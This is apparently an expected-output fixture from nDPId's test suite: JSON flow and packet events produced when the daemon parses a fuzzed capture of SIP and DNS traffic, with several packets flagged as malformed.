+01505{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470049,"pkt_ts_usec":696866,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"ADBUADRWAODtAW69CABFAANSanAAAIARyurAqAECyER4URPEE8QDPvKbSU5WSVRFS3NpcDo5YTIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNClRvOiA8c2lwOjg3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+DQpDYWxsLUlEOiAxMDUwGTAyNTktNDQ2ZmFmN2FAMTkyLjE2OC4xLjINCkNTZXE6IDEgSU5WSVRFDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb24gMi4wLjUxLjE2DQpFeHBpcmVzOiAxMjANCkFjY2VwdDogYXBwbGljYXRpb24vczFwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3NkcA0KQ29udGVudC1MZW5ndGg6IDI3Mg0KQ29udH5jdDogPHNpcDo4MTY2NjZAMTkyLjE2OC4xLjI+DQpNYXgtRm9yd2FyZHM6IDcwDQpBbGxvdzogSU5WSVRFLCBBQ0ssIENBTkNFTCwgQllFLCBSRUZFUiwgT1BUSU9OUywgTk9USUZZLCBJTkZPDQoNCnY9MA0Kbz1TSVBQUyAxMFo4MTUxNjUgMTA1MDE1MTYyIElOIElQNCAxOTIuMTY4LjEuMg0Kcz1TSVAgY2FsbA0KYz1JTiBJUDQgMTkyLjE2OC4xLjINCnQ9MCAwDQptPWF1ZGlvIDMwMDAwIFJUUC9BVlAgMCA4IDk3IDIgMw0KYT1ydHBtYXA6MCBwY211LzgwMDANCmE9cnRwbWFwOjggcGNtYS84MDAwDQphPXJ0cG1hcDo5NyBpTEJDLzgwMDANCmE9cnRwbWFwOjIgZzcyNi0zMi84MDAwDXNhPXJ0cG1hcDozIEdTTS84MDAwDQphPWZtdHA6OTcgbW9kZT0yMA0KYT1zRm5kcmVjdg0K"} +00467{"flow_id":89,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470050,"pkt_ts_usec":187028,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIanEAAFgRTODAqAECwKgBAQq8ADUANCxC\/cYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAB0AAE="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":226,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":2,"flow_first_seen":1120470049190,"flow_last_seen":1120470050187,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":116,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01505{"flow_id":90,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470050,"pkt_ts_usec":699023,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"ADBUADRWAODtAdO9CABFAANSanIAAIARyujAqAECyER4URPEE8QDPvKbSU5WSVRFIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI6NTA2MDticmFmY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNClRvOiA8c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+DQpDYWxsLUlEOiAxMDUwOTAyNTktNDQ2ZmFmN2FAMTkyLjE2OC4xLjINCkNTZXE6IDEgSU5W6FRFDQpVc2VyLUFnZW50OiBOZXJvIFNJUFBTIElQIFBob25lIFZlcnNpb24gMi4wLjUxLjE2DQpFeHBpcmVzOiAxMjANCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3NkcA0KQm9udGVudC1MZW5ndGg6IDI3Mg0KQ29udGFjdDogPHNpcDo4MTY2NjZAMTMyLjE2OC4xLjI+DQpNYXgtRm9yd2FyZHM6IDcwDQpBbGxvdzogSU5WSVRFLCBBQ0ssIENBTkNFTCwgQllF2SBSRUZFUiwgT1BUSU9OUywgTk9USUZZLCBJTkZPDQoNCnY9MA0Kbz1TSVBQUyAxMDUwMTUxNjUgMTA1MDE1MTYyIElOIElQNCAxOTIuMTY4LjEuMg0Kcz1TSVAgY2FsbA0KYz1JTiBJUDQgMTkyLjE2OC4xLjINCnQ9MCAwDQptPWF1ZGlvIDMwMDAwIFJUUC9BVlAgMCA4IDk3IDIgMw0KYT1ydHBtYXA6MCBwY211LzgwMDANCmE9cnRwbWFwOjggcGNtYS84MDAwDQphPXJ0cG1hcDo5NyBpTEJDLzgwMDANCmE9cnRwbWFwOjIgRzcyNi0zMi84MDAwDQphPXJ0cG1hcDozIEdTTS84MDA0DQphPWZtdHA6OTcgbW9kZT0yMA0KYT1zZW5kcmVjdg0K"} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":2,"flow_first_seen":1120470049696,"flow_last_seen":1120470050699,"flow_tot_l4_data_len":1660,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +01205{"flow_id":90,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470051,"pkt_ts_usec":405231,"pkt_caplen":637,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":637,"pkt_l4_len":603,"pkt":"AODtAW69ADBUADRWCABFAAJvAABAAC8RRz7IRHhRwKgBAhPEE8QCWxwoU0lQL3guMCAxMDAgdHJ5aW5nIC0tIHlvdXIgY2FsbCBpcyBpbXBvcnRhbnQgdG8gdXMNClZpYTogU0lQLzIuMC9VRFAgMTkyLnE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTA0OTg0MDUzLTQ0Y2U0YTQxMTkyLjE2OC4xLjI7cnBvcnQ9NTA2MDtyZWNlaXZlZD04MC4yMzAuMjE5LjcwDQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzptPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDEZMi4lcxAuMS4yDUdDU2VxOiAxIElOVklURQ0KU2VydmVyOiAlcwAgRVhwcmVzcyByb3V0ZXIgKDAuOC4xgCAoaaY4Ni9saSVzACkpDQpDb250ZW50LUxlbmclcwAgMA0KV2FybmluZzogMzkyIDIwMC42OC4xMjAuODE6NTA2MCAiTm9pc3kgZmVlZGJhY2sgdGVsbHM6ICBwaWQ5MzI2NDIgcmVxX3NyY19pcD04MC4yMzAuMjE5LjcwIHJlcV9zcmNfcG9ydD01MDYwIGluX3VyaT1zaXA6OTcyMzkyODcwNDRAdm9pcC5icnVqdWxhLm5ldCBvdXRfdXJpPXNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IHZpYR9jbnQ9PTEiDQoNCg=="} +00467{"flow_id":89,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470052,"pkt_ts_usec":189909,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIanMAAIARTN7AqAECwKgBAQq8ADUANCxC\/cYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":229,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":3,"flow_first_seen":1120470049190,"flow_last_seen":1120470052189,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":89,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470054,"pkt_ts_usec":192756,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWADbtAW69CABFAABIanQAAIARRzjAqAECwKgBAQq8ADUANCzl\/cYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":89,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470058,"pkt_ts_usec":198554,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIanUAAIARTNzAqAECwKgBAQq8ADUANAxC\/cYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5Aqqqqqqqqqo="} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":233,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":5,"flow_first_seen":1120470049190,"flow_last_seen":1120470058198,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":234,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1120470049185,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"67.168.1.1","src_port":2747,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":234,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1120470049187,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2747,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":234,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1120470049188,"flow_last_seen":0,"flow_tot_l4_data_len":830,"flow_min_l4_data_len":830,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":830,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":4932,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":236,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1120470066200,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2749,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470066,"pkt_ts_usec":200488,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtMm69CABFAABEangAAIARTN3AqAECwKgBAQq9ADUAMAo6GsgAAAABAFmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":236,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1120470066200,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2749,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":237,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1120470066201,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470066,"pkt_ts_usec":201945,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Cq0AR+y1GsiAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":237,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1120470066201,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":238,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470066,"pkt_ts_usec":203124,"pkt_caplen":47,"pkt_type":10240,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69KABFAAAhankAAIARGJPAqAEC1PIhIxPEE8QADcBLICAgICA="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":238,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":10240} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":239,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1120470066293,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2750,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470066,"pkt_ts_usec":293853,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIanoAAIARTNfAqAECwKgBAQq+ADUANBAIP8gBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":239,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1120470066293,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2750,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.voip.brujula.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":93,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470067,"pkt_ts_usec":291614,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIanwAAIARTNXAqAECwKgBAQq+ADUANBAIP8gBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":242,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1120470069294,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":10942,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470069,"pkt_ts_usec":294518,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIan0AAIARTNTAqAECwKgBASq+ADUANBAIP8gBAAABAAAAAAAABF9zaXAEX3VkcAR2b2lwB2JydWp1bGEDbmV0AAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":242,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1120470069294,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":10942,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.voip.brujula.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":93,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470071,"pkt_ts_usec":297608,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADREAODtAW69CABFAABIan4AAIAR7NPAqAECwKgBAQq+ADUANBBXP8gBqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00717{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":243,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":3,"flow_first_seen":1120470066293,"flow_last_seen":1120470071297,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2750,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.voip.brujula.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":93,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470075,"pkt_ts_usec":303154,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADZWAFjtAW69CABFAABIan8AAIARTNLAqAECwKgBAQq+ADUANBAIP8gBBAABAAAAAAAABF9zaXAEX3VkcAR2byVzAGJydWp1bGEDbmV0AAAhAAE="} +00708{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":244,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":4,"flow_first_seen":1120470066293,"flow_last_seen":1120470075303,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2750,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.vo_s","num_queries":0,"num_answers":0,"reply_code":0,"query_type":25202,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":245,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1120470066201,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":245,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1120470066200,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2749,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":245,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1120470069294,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":10942,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":245,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1120470083305,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.18","dst_ip":"192.168.1.1","src_port":2751,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":305056,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEaoAAAIARTNXAqAESwKgBAQq\/ADUAMAo2GsoAAAABAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":245,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1120470083305,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.18","dst_ip":"192.168.1.1","src_port":2751,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 